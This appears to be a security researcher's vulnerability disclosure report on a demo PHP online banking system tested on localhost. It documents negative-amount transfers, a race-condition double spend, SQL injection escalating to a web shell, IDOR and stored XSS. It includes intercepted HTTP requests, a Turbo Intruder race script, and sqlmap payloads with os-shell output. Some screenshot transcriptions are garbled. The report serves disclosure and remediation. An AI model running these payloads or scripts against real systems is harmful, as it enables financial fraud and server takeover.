

# VULNERABILITY DISCLOSURE REPORT

**Target:** Online Banking Management System v1.0

**Date:** December 21, 2025

**Reporter:** Sankalp Devidas Hanwate (Lead Researcher-Syntropy Security)

## 1. PRODUCT DETAILS

Detail	Information
<b>Product Name</b>	Online Banking Management System
<b>Version</b>	1.0
<b>Vendor/Source</b>	<a href="#">SourceCodester</a>
<b>Platform</b>	PHP/MySQL/Apache
<b>Date of Report</b>	December 21, 2025
<b>Reporter</b>	Sankalp Devidas Hanwate (Lead Researcher-Syntropy Security)

## 2. EXECUTIVE SUMMARY

**Overview:** Syntropy Security has completed a comprehensive security audit of the **Online Banking Management System v1.0**. Our assessment concludes that the application in its current state poses unacceptable **risk** to the organization. We identified five (5) critical security failures that would cause catastrophic financial loss and total operational paralysis if deployed.

### Key Business Risks Identified:

- **Financial Fraud & Theft (Unlimited Liability):** The system lacks basic financial integrity controls. Our researchers successfully demonstrated the ability to **generate unlimited currency** (via "Negative Transfer" logic) and **spend the same funds twice** (via "Race Conditions"). A single attacker could drain the bank's entire reserve in minutes without detection.
- **Total Infrastructure Compromise (RCE):** We identified a flaw allowing **Remote Code Execution (RCE)**. This allows an external attacker to seize full control of the bank's servers, delete all backups, install ransomware, or use the bank's

infrastructure to launch attacks on other institutions. This is the highest security failure possible.

- **Regulatory & Privacy Breach (GDPR/Compliance Violation):** Security controls for customer data are non-existent. Any standard user can access the **Manager Dashboard**, view all customer PII (Personally Identifiable Information), and delete client accounts. This constitutes a massive breach of trust and would trigger severe regulatory fines.

**Conclusion:** The application is **fundamentally insecure by design**. The vulnerabilities discovered are not merely "bugs" but architectural failures. Syntropy Security strongly recommends **halting all deployment plans** immediately until the remediation roadmap (Section 4) is fully implemented and verified.

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### 3. VULNERABILITY DETAILS

#### A. Business Logic Flaw (Infinite Money Generation)

Severity	Critical
<b>Description</b>	The application fails to sanitize input in the Funds Transfer module. Submitting a <b>negative integer</b> (e.g., <b>-5000</b> ) causes the system to erroneously <b>add</b> funds to the sender's account instead of deducting them.
<b>Proof of Concept</b>	1. Login as a standard user. 2. Intercept the transfer request. 3. Modify the parameter <b>amount</b> to a negative value (e.g., <b>-5000</b> ). <b>Result:</b> The sender's account balance increases.

- **Severity:** Critical
- **Steps to reproduce:**
  - Login as a standard user.
  - Intercept the transfer request.
  - Change parameter **amount** to **-5000**.
  - **Result:** Balance increases.

```
Request
Pretty Raw Hex Hackverte
1 POST /SecureCodester_Banking_MS/bank/transfer.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 43
9 Origin: http://localhost
10 DNT: 1
11 Sec-GPC: 1
12 Connection: keep-alive
13 Referer: http://localhost/SecureCodester_Banking_MS/bank/transfer.php
14 Cookie: PHPSESSID=5e6ca3afc7c254003bf1f9a47ef3fee6
15 Upgrade-Insecure-Requests: 1
16 Sec-Fetch-Dest: document
17 Sec-Fetch-Mode: navigate
18 Sec-Fetch-Site: same-origin
19 Sec-Fetch-User: ?1
20 Priority: u=0, i
21
22 otherNo=1766198235&amount=-5000&transferSelf=
```



Funds Transfer

New Transfer

Enter Receiver Account number

Get Account Info

Transfer History

Transfer have been made for Rs.-5000 from your account at 2025-12-19 22:27:37 in account no.1766198235

XYZ Bank

## B. Race Condition (Double Spending)

Severity	High
Description	The application lacks atomic database transactions. Parallel requests sent via automated tools exploit the gap between checking the balance and updating it (Time-of-Check to Time-of-Use), allowing a user to transfer the same funds to multiple recipients simultaneously.
Proof of Concept	1. Capture a valid transfer request. 2. Use a script to send simultaneous requests to two different beneficiary accounts.

- **Severity:** High
- **Steps to reproduce:**
  - Capture a valid transfer request.
  - Use a script to send simultaneous requests to two beneficiary accounts.

The screenshot shows a web browser window with the following details:

- URL:** localhost/SecureCodester\_Banking\_MS/bank/transfer.php
- Title Bar:** XYZ Bank - Home - Accounts - Account Statements - Funds Transfer
- Toolbar:** Account Balance : Rs.20700, Dr Evil's Account, and other browser icons.
- Form Fields (highlighted by red arrows):**
  - New Transfer: Enter Receiver Account number, Get Account Info
  - Funds Transfer: Account No. (1766199021), Account Holder Name. (Jesse Pinkman), Account Holder Bank Name. (XYZ Bank), Enter Amount for transfer. (15000), Transfer
- Transfer History:** Transfer have been made for Rs.-5000 from your account at 2025-12-19 22:27:37 in account no.1766198235
- Bottom:** XYZ Bank

Turbo Intruder - localhost

```

Pretty Raw Hex Hackvator
1 POST /SecureCodester_Banking_MS/bank/transfer.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 45
9 Origin: http://localhost
10 DNT: 1
11 Sec-GPC: 1
12 Connection: keep-alive
13 Referer: http://localhost/SecureCodester_Banking_MS/bank/transfer.php
14 Cookie: PHPSESSID=5e6ca3afc7c254003bf1f9a47ef3fee6
15 Upgrade-Insecure-Requests: 1
16 Sec-Fetch-Dest: document
17 Sec-Fetch-Mode: navigate
18 Sec-Fetch-Site: same-origin Amount transferred
19 Sec-Fetch-User: ?1
20 Priority: u=0, i
21
22 otherNo=1766199021&amount=15000&transferSelf=
```

Jessies Account Number

```

Pretty Raw Hex Hackvator
1 POST /SecureCodester_Banking_MS/bank/transfer.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 45
9 Origin: http://localhost
10 DNT: 1
11 Sec-GPC: 1
12 Connection: keep-alive
13 Referer: http://localhost/SecureCodester_Banking_MS/bank/transfer.php
14 Cookie: PHPSESSID=5e6ca3afc7c254003bf1f9a47ef3fee6
15 Upgrade-Insecure-Requests: 1
16 Sec-Fetch-Dest: document
17 Sec-Fetch-Mode: navigate
18 Sec-Fetch-Site: same-origin
19 Sec-Fetch-User: ?1
20 Priority: u=0, i
21
22 otherNo=%s&amount=15000&transferSelf=
```

We replaced Jesse's ID with %s so the script can swap in Walter's ID instantly

```

Pretty Raw Hex Hackvator
1 POST /SecureCodester_Banking_MS/bank/transfer.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 45
9 Origin: http://localhost
10 DNT: 1
11 Sec-GPC: 1
12 Connection: keep-alive
13 Referer: http://localhost/SecureCodester_Banking_MS/bank/transfer.php
14 Cookie: PHPSESSID=5e6ca3afc7c254003bf1f9a47ef3fee6
15 Upgrade-Insecure-Requests: 1
16 Sec-Fetch-Dest: document
17 Sec-Fetch-Mode: navigate
18 Sec-Fetch-Site: same-origin
19 Sec-Fetch-User: ?1
20 Priority: u=0, i
21
22 otherNo=%s&amount=15000&transferSelf=
```

Host: localhost | Port: 80 | Protocol: http | Last code used

```

1 def queueRequests(target, wordlists):
2     # Setup the high-speed engine
3     engine = RequestEngine(endpoint=target.endpoint,
4                            concurrentConnections=30,
5                            requestPerConnection=100,
6                            pipeline=False
7                            )
8
9     # The two accounts we want to pay simultaneously
10    # 1. Jesse Pinkman, 2. Walter White
11    victims = ['1766199021', '1766199119']
12
13    # This queues up both transfers at the starting line
14    for victim in victims:
15        # The 'gate' holds them back until we say "GO"
16        engine.queue(target.req, victim, gate='race1') Race Condition
17
18    # FIRE THE CANNON
19    # This releases both requests in the same network packet (if possible)
20    engine.openGate('race1')
21
22    engine.complete(timeout=60)
23
24    def handleResponse(req, interesting):
25        # Log everything so we can see if it worked
26        table.add([req])
```

Attack

Row	Payload	Status	Anomaly rank	Words	Length	Time	Arrival	Label	Queue ID	Connections
1	POST /SecureCodeester_Banking_MS/bank/transfer.php HTTP/1.1	200	1595	34767	58393	2025-12-19T22:27:37Z	2025-12-19T22:27:37Z	3	1	2
2	Host: 176699019	200	1555	4479	24451	2025-12-19T22:27:37Z	2025-12-19T22:27:37Z	2	1	2

Pretty	Raw	Hex	Hackverteo
POST /SecureCodeester_Banking_MS/bank/transfer.php HTTP/1.1			
Host: 176699019			
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8			
Accept-Language: en-US,en;q=0.5			
Accept-Encoding: gzip, deflate, br			
Content-Type: application/x-www-form-urlencoded			
Content-Length: 49			
Origin: http://localhost			
DNT: 1			
Sec-GPC: 1			
Sec-Fetch-Dest: keep-alive			
Sec-Fetch-Mode: document			
Sec-Fetch-Site: secure			
Sec-Fetch-User: ?1			
Priority: u-0, i			
Transfer-Encoding: chunked			
otherNo=176699119&account=15000&transferSelf=			

Pretty	Raw	Hex	Hackverteo
<div>			
<div> class="container">			
<div> class="card w-75 mx-auto">			
<div> class="card-header text-center">			
<h3 style="color: #007bff;">Transfer</h3>			
</div>			
<div> class="card-body">			
<form method="POST">			
<div> class="alert alert-success w-50 mx-auto">			
<div> class="mb-3">			
<label> New Transfer </label>			
<div>			
<input type="text" name="otherNo" class="form-control " placeholder="Enter Receiver Account number" required>			
<button type="submit" name="get" class="btn btn-primary btn-block w-50 my-1">			
<div> class="mb-3">			
<label> Get Account Info </label>			
<div>			
<div> class="mb-3">			
<label> Transfer History </label>			
<div>			
<div> id="list-group rounded-0">			
<script>			
show('Transfer Successful');			
window.location.href='transfer.php'			
</script>			
<div> class="list-group-item list-group-item-action bg-gradient-info">			
Transfer have been made for Rs.15000 from your account at 2025-12-20 02:24:44 in account no.176699019			
<div> class="list-group-item list-group-item-action bg-gradient-info">			
Transfer have been made for Rs.15000 from your account at 2025-12-20 02:24:44 in account no.176699119			
<div> class="list-group-item list-group-item-action bg-gradient-info">			
Transfer have been made for Rs..5000 from your account at 2025-12-19 22:27:37 in account no.1766198235			
</div>			
</div>			
<div> class="card-footer text-muted">			
XYZ Bank			
</div>			

The screenshot shows a web browser window for 'XYZ Bank' at the URL 'localhost:SecureCodester\_Banking\_MS/bank/transfer.php'. The page has a header with 'Home', 'Accounts', 'Account Statements', 'Funds Transfer', 'Account Balance - Rs. 24300', and several icons. A red arrow points from the 'Dr Evil's Account' link in the top right to the 'Enter Receiver Account number' input field. Another red arrow points from the 'Get Account Info' button to the transfer history section below.

Funds Transfer

New Transfer

Enter Receiver Account number

Get Account Info

Transfer History

Transfer have been made for Rs.15000 from your account at 2025-12-20 02:28:44 in account no.1766199021

Transfer have been made for Rs.15000 from your account at 2025-12-20 02:24:44 in account no.1766199021


Transfer have been made for Rs.15000 from your account at 2025-12-20 02:24:44 in account no.1766199119

Transfer have been made for Rs.-5000 from your account at 2025-12-19 22:27:37 in account no.1766198235

## C. Remote Code Execution (SQL Injection)

Severity	Critical
Description	The <code>transfer.php</code> endpoint is vulnerable to SQL Injection. An attacker can use the <code>INTO OUTFILE</code> technique to write a PHP web shell to the server's file system and execute system commands (Remote Code Execution).
Proof of Concept	<b>Payload:</b> <code>sqlmap ... --os-shell</code>

- **Severity:** Critical
- **Steps to reproduce:**
  - **Payload:** `sqlmap ... --os-shell`



```
(kali㉿kali)-[~/Documents/CVE/SecureCodester_Banking_MS]
$ sqlmap -r fund_transfer_request_capture_for_sqli.txt --os-shell
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws
. Developers assume no liability and are not responsible for any misuse or damage caused by this program
(*) starting at 03:28:31 /2025-12-20

[03:28:31] [INFO] parsing HTTP request from 'fund_transfer_request_capture_for_sqli.txt'
[03:28:31] [WARNING] provided value for parameter 'transferSelf' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[03:28:31] [INFO] resuming back-end DBMS 'mysql'
[03:28:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
-- 
Parameter: otherNo (POST)
Type: error-based
Title: MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: otherNo=1766198794' AND (SELECT 3074 FROM(SELECT COUNT(*),CONCAT(0x71767171,(SELECT (ELT(3074=3074,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JXHf&amount=1000&transferSelf=
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: otherNo=1766198794' AND (SELECT 1331 FROM (SELECT(SLEEP(5)))teiP)-- rJPK&amount=1000&transferSelf=
[03:28:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.63
back-end DBMS: MySQL > 5.0 (MariaDB fork)
[03:28:32] [INFO] going to use a web backdoor for command prompt
[03:28:32] [INFO] the language of the back-end DBMS operating system
[03:28:32] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[03:28:34] [INFO] retrieved the web server document root: '/var/www'
[03:28:34] [INFO] retrieved web server absolute paths: '/var/www/html/SecureCodester_Banking_MS/bank/assets/db.php, /var/www/html/SecureCodester_Banking_MS/bank/transfer.php, /var/www/html/
```

```

[03:28:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.63
back-end DBMS: MySQL >= 5.0. (MariaDB)
[03:28:32] [INFO] going to use a web backdoor for command prompt
[03:28:32] [INFO] fingerprinting the back-end DBMS operating system
[03:28:32] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
[4]
[03:28:34] [INFO] retrieved the web server document root: '/var/www'
[03:28:34] [INFO] retrieved web server absolute paths: '/var/www/html/SecureCodester_Banking_MS/bank/assets/db.php, /var/www/html/SecureCodester_Banking_MS/bank/assets/function.php'
[03:28:34] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[03:28:34] [WARNING] unable to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[03:28:34] [INFO] trying to upload the file stager on '/var/www/html/SecureCodester_Banking_MS/bank/' via LIMIT 'LINES TERMINATED BY' method
[03:28:34] [WARNING] unable to upload the file stager on '/var/www/html/SecureCodester_Banking_MS/bank/'
[03:28:34] [INFO] trying to upload the file stager on '/var/www/html/SecureCodester_Banking_MS/bank/assets/' via LIMIT 'LINES TERMINATED BY' method
[03:28:34] [INFO] the file stager has been successfully uploaded on '/var/www/html/SecureCodester_Banking_MS/bank/assets/' - http://localhost:80/SecureCodester_Banking_MS/bank/assets/tmpuuzz1.php
[03:28:34] [INFO] the backdoor has been successfully uploaded on '/var/www/html/SecureCodester_Banking_MS/bank/assets/' - http://localhost:80/SecureCodester_Banking_MS/bank/assets/tmpbqikx.php
[03:28:34] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
os-shell> hostname
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'kali'
os-shell>
do you want to retrieve the command standard output? [Y/n/a]
command standard output: '/var/www/html/SecureCodester_Banking_MS/bank/assets'
os-shell> []

```

## D. Broken Access Control (IDOR)

Severity	High
Description	The Manager Dashboard ( <code>mindex.php</code> ) is accessible to low-privilege users by direct URL navigation. The server fails to validate the user's session type or role before rendering the administrative page.
Proof of Concept	Direct navigation to the manager's URL without manager privileges grants access.

- **Severity:** High

## ● Steps to reproduce: Login as patient and access the mindex.php endpoint

Screenshot of the NetworkMiner tool showing a list of network traffic. A red box highlights a specific row where the URL is `http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=1`. Below this row, two red arrows point downwards to the text: "Dr Evil can view anyone's personal details just by changing the number id=1 to id=2, id=3, etc." and "Dr Evil can delete any user from the DB".

ID	Method	URL	Orig. Len	Modif. Len	Unsaf. Len	Auth. Status	Search
3 GET		<a href="https://content.services.mozilla.com:443/v1/files">https://content.services.mozilla.com:443/v1/files</a>	3679	3677	3677	Is enforced/TTFI present	Is enforced/TTFI present
4 GET		<a href="https://d3s3-mng.mozilla.org:443/v1/images/image?name=CnAkLmh0dHbJ0BjYW...">https://d3s3-mng.mozilla.org:443/v1/images/image?name=CnAkLmh0dHbJ0BjYW...</a>	7568	7568	7568	Bypassed	Bypassed
5 GET		<a href="https://d3etp0rtfirefox.vox080s0access.txt?tp0g5">https://d3etp0rtfirefox.vox080s0access.txt?tp0g5</a>	8	8	8	Bypassed	Bypassed
6 GET		<a href="https://d3etp0rtfirefox.vox080s0access.txt?tp0g6">https://d3etp0rtfirefox.vox080s0access.txt?tp0g6</a>	8	8	8	Bypassed	Bypassed
7 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11</a>	6459	6175	6459	Enforced	Bypassed
8 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11</a>	3589	3589	3589	Bypassed	Bypassed
9 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11</a>	3589	3589	3589	Bypassed	Bypassed
10 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11</a>	3726	3726	3726	Bypassed	Enforced
11 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/show.php?id=1">http://localhost:80/SecureCoderter_Banking_MS/bank/show.php?id=1</a>	3596	3596	3596	Bypassed	Enforced
12 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/show.php?id=2">http://localhost:80/SecureCoderter_Banking_MS/bank/show.php?id=2</a>	3596	3596	3596	Bypassed	Enforced
13 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/show.php?id=8">http://localhost:80/SecureCoderter_Banking_MS/bank/show.php?id=8</a>	3598	3598	3598	Bypassed	Enforced
14 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	9706	9706	9706	Bypassed	Enforced
15 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11</a>	3603	3603	3603	Enforced	Enforced
16 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	9706	9706	9706	Bypassed	Enforced
17 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11</a>	3221	3221	3221	Enforced	Enforced
18 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	9706	9706	9706	Bypassed	Enforced
19 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=11</a>	8465	8465	8465	Bypassed	Enforced
20 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	8465	8465	8465	Bypassed	Enforced
21 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	4819	4819	4819	Bypassed	Enforced
22 POST		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/macaccounts.php">http://localhost:80/SecureCoderter_Banking_MS/bank/macaccounts.php</a>	4968	5217	5117	Is enforced/TTFI present	Enforced
23 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	8465	8465	8465	Bypassed	Enforced
24 POST		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	6402	6402	6402	Bypassed	Enforced
25 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	4481	4481	4481	Bypassed	Enforced
26 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=1">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=1</a>	4524	4524	4524	Bypassed	Enforced
27 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/morelock.php">http://localhost:80/SecureCoderter_Banking_MS/bank/morelock.php</a>	4724	4724	4724	Bypassed	Enforced
28 POST		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/morelock.php">http://localhost:80/SecureCoderter_Banking_MS/bank/morelock.php</a>	6402	6402	6402	Bypassed	Enforced
29 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/macaccounts.php">http://localhost:80/SecureCoderter_Banking_MS/bank/macaccounts.php</a>	5266	5266	5266	Bypassed	Enforced
30 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=9">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=9</a>	5117	5117	5117	Bypassed	Enforced
31 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	12382	12382	12382	Bypassed	Enforced
32 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=18">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=18</a>	11729	11729	11729	Bypassed	Enforced
33 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	11729	11729	11729	Bypassed	Enforced
34 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=17">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=17</a>	11076	11076	11076	Bypassed	Enforced
35 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	11076	11076	11076	Bypassed	Enforced
36 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=16">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=16</a>	10423	10423	10423	Bypassed	Enforced
37 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	10423	10423	10423	Bypassed	Enforced
38 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=15">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=15</a>	9707	9707	9707	Bypassed	Enforced
39 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	9770	9770	9770	Bypassed	Enforced
40 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=14">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=14</a>	9717	9717	9717	Bypassed	Enforced
41 GET		<a href="http://localhost:80/SecureCoderter_Banking_MS/bank/index.php">http://localhost:80/SecureCoderter_Banking_MS/bank/index.php</a>	9717	9717	9717	Bypassed	Enforced
42 GET		<a href="https://content.services.mozilla.com:443/v1/files">https://content.services.mozilla.com:443/v1/files</a>	3679	3679	3679	Bypassed	Bypassed
43 GET		<a href="https://content.services.mozilla.com:443/v1/files">https://content.services.mozilla.com:443/v1/files</a>	1943	1943	1943	Bypassed	Bypassed

Dr Evil can view anyone's personal details just by changing the number id=1 to id=2, id=3, etc.

Dr Evil can delete any user from the DB

Screenshot of the NetworkMiner tool showing a list of network traffic. A red box highlights a specific row where the URL is `http://localhost:80/SecureCoderter_Banking_MS/bank/index.php?id=1`. Below this row, a red arrow points down to the text: "Dr Evil is able to see anyone's personal details just by changing the number id=1 to id=2, id=3, etc.". The interface includes tabs for Request, Response, Inspector, and Unauthenticated Request.

ID	Method	URL	Orig. Len	Modif. Len	Unsaf. Len	Auth. Status	Search
1	GET	<a href="/SecureCoderter_Banking_MS/bank/show.php?id=1">/SecureCoderter_Banking_MS/bank/show.php?id=1</a>	HTTP/1.1				
2	Host	localhost					
3	User-Agent	Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0					
4	Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8					
5	Accept-Language	en-US,en;q=0.5					
6	Accept-Encoding	gzip, deflate, br					
7	Connection	keep-alive					
8	Upgrade-Insecure-Requests	1					
9	Content-Type	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8					
10	Content-Security-Policy	script-src 'self' https://content.services.mozilla.com:443/v1/files					
11	Set-Cookie	PHPSESSID=5e5ca3afc7c254003bf1f9a47ef3feed; path=/; HttpOnly; Secure; SameSite=None					
12	Sec-Fetch-Dest	document					
13	Sec-Fetch-Mode	navigate					
14	Sec-Fetch-Site	same-origin					
15	Sec-Fetch-User	?1					

Dr Evil is able to see anyone's personal details just by changing the number id=1 to id=2, id=3, etc.

**Request**

```

1 GET /SecureCodester_Banking_MS/bank/#feedback.php?delete=1 HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Referer: http://localhost/SecureCodester_Banking_MS/bank/#feedback.php
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Priority: u=0, i
15 Cookie: PHPSESSID=5e6ca3afc7c254003bf1f9a47ef3fee6
16
17

```

Modified Autorize request for "deleting feedback" sent to repeater

**Response**

XYZ Bank

constants is no longer supported in /var/www/html/SecureCodester\_Banking\_MS/bank/assets/db.php on line 4

Feedback from Account Holder

From	Account No.	Contact	Message	
Ali khan	10054777	03356910260	This is testing message to admin or manager by fk	<a href="#">Delete</a>
Fayyaz Khan	1005469	03356910260	this is help card for admin	<a href="#">Delete</a>
Dr. Evil	1766198901	03006666666		<a href="#">Delete</a>

XYZ Bank

Dr Evil can delete "Feedback from Account Holder" values

**Request**

```

1 GET /SecureCodester_Banking_MS/bank/index.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
8 Referer: http://localhost/SecureCodester_Banking_MS/bank/index.php
9 Connection: keep-alive
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 1
12 Sec-Fetch-Dest: document
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-User: ?1
16 Priority: u=0, i
17 Cookie: PHPSESSID=5e6ca3afc7c254003bf1f9a47ef3fee6
18
19

```

**Response**

XYZ Bank

supported in /var/www/html/SecureCodester\_Banking\_MS/bank/assets/db.php on line 4

Dr Evil can view private information of other accounts


All accounts

Holder #	Holder Name	Account No.	Branch Name	Current Balance	Account type	Contact	
1	Fayyaz Khan	1005469	Dera Ghazi Khan	Rs.25800	Current	03356910260	<a href="#">View</a> <a href="#">Send Notice</a> <a href="#">Delete</a>
2	Ali khan	10054777	Dera Ghazi Khan	Rs.25800	Saving	03356910260	<a href="#">View</a> <a href="#">Send Notice</a> <a href="#">Delete</a>
3	Fayyaz Khan	1513410739	Dera Ghazi Khan	Rs.25800	saving	03356910260	<a href="#">View</a> <a href="#">Send Notice</a> <a href="#">Delete</a>
4	Fayyaz Khan	1513410837	Dera Ghazi Khan	Rs.25800	current	03356910260	<a href="#">View</a> <a href="#">Send Notice</a> <a href="#">Delete</a>
5	Elon Musk	1766198235	Dera Ghazi Khan	Rs.25800	current	03001234567	<a href="#">View</a> <a href="#">Send Notice</a> <a href="#">Delete</a>


## E. Stored Cross-Site Scripting (XSS)

Severity	High
<b>Description</b>	The Feedback module ( <code>feedback.php</code> ) fails to sanitize user input in the "Message" field. An attacker can inject arbitrary JavaScript code. When an Administrator (Manager) views the feedback log ( <code>mfeedback.php</code> ), the malicious script executes in their browser, potentially leading to <b>Session Hijacking</b> .
